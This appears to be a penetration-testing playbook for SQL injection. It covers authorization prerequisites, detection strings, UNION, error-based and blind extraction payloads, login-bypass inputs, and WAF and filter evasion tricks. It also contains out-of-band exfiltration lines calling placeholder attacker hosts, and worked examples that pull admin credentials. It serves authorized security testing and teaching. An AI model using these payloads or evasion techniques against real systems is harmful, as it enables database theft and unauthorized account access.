SQL Injection Testing

• Written authorization for penetration testing
• Defined scope including target URLs and parameters
• Emergency contact procedures established
• Data handling agreements in place

Outputs / Deliverables

Primary Outputs

• SQL injection vulnerability report with severity ratings
• Extracted database schemas and table structures
• Authentication bypass proof-of-concept demonstrations
• Remediation recommendations with code examples

Evidence Artifacts

• Screenshots of successful injections
• HTTP request/response logs
• Database dumps (sanitized)
• Payload documentation

Core Workflow

Phase 1: Detection and Reconnaissance

Identify Injectable Parameters

Locate user-controlled input fields that interact with database queries:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For

Test for Basic Vulnerability Indicators

Insert special characters to trigger error responses:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitor application responses for:

• Database error messages revealing query structure
• Unexpected application behavior changes
• HTTP 500 Internal Server errors
• Modified response content or length

Logic Testing Payloads

Verify boolean-based vulnerability presence:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true and false conditions to confirm injection capability.

Phase 2: Exploitation Techniques

UNION-Based Extraction

Combine attacker-controlled SELECT statements with original query:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Error-Based Extraction

Force database errors that leak information:

-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--

Blind Boolean-Based Extraction

Infer data through application behavior changes:

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

Time-Based Blind Extraction

Use database sleep functions for confirmation:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB) Extraction

Exfiltrate data through external channels:

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Phase 3: Authentication Bypass

Login Form Exploitation

Craft payloads to bypass credential verification:

-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

Query transformation example:

-- Original query
SELECT * FROM users WHERE username='input' AND password='input'

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment

Phase 4: Filter Bypass Techniques

Character Encoding Bypass

When special characters are blocked:

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex

Whitespace Bypass

Substitute blocked spaces:

-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline

Keyword Bypass

Evade blacklisted SQL keywords:

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT

Quick Reference

Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

Database Fingerprinting

-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version

Information Schema Queries

-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Common Payloads Quick List

Constraints and Guardrails

Operational Boundaries

• Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
• Limit data extraction to proof-of-concept quantities
• Avoid denial-of-service through resource-intensive queries
• Stop immediately upon detecting production database with real user data

Technical Limitations

• WAF/IPS may block common payloads requiring evasion techniques
• Parameterized queries prevent standard injection
• Some blind injection requires extensive requests (rate limiting concerns)
• Second-order injection requires understanding of data flow

Legal and Ethical Requirements

• Written scope agreement must exist before testing
• Document all extracted data and handle per data protection requirements
• Report critical vulnerabilities immediately through agreed channels
• Never access data beyond scope requirements

Examples

Example 1: E-commerce Product Page SQLi

Scenario: Testing product display page with ID parameter

Initial Request:

GET /product.php?id=5 HTTP/1.1

Detection Test:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''

Column Enumeration:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

Data Extraction:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials

Example 2: Blind Time-Based Extraction

Scenario: No visible output, testing for blind injection

Confirm Vulnerability:

id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)

Extract Database Name Length:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters

Extract Characters:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'

Example 3: Login Bypass

Target: Admin login form

Standard Login Query:

SELECT * FROM users WHERE username='[input]' AND password='[input]'

Injection Payload:

Username: administrator'--
Password: anything

Resulting Query:

SELECT * FROM users WHERE username='administrator'--' AND password='anything'

Result: Password check bypassed, authenticated as administrator.

Troubleshooting

No Error Messages Displayed

• Application uses generic error handling
• Switch to blind injection techniques (boolean or time-based)
• Monitor response length differences instead of content

UNION Injection Fails

• Column count may be incorrect → Test with ORDER BY
• Data types may mismatch → Use NULL for all columns first
• Results may not display → Find injectable column positions

WAF Blocking Requests

• Use encoding techniques (URL, hex, unicode)
• Insert inline comments within keywords
• Try alternative syntax for same operations
• Fragment payload across multiple parameters

Payload Not Executing

• Verify correct comment syntax for database type
• Check if application uses parameterized queries
• Confirm input reaches SQL query (not filtered client-side)
• Test different injection points (headers, cookies)

Time-Based Injection Inconsistent

• Network latency may cause false positives
• Use longer delays (10+ seconds) for clarity
• Run multiple tests to confirm pattern
• Consider server-side caching effects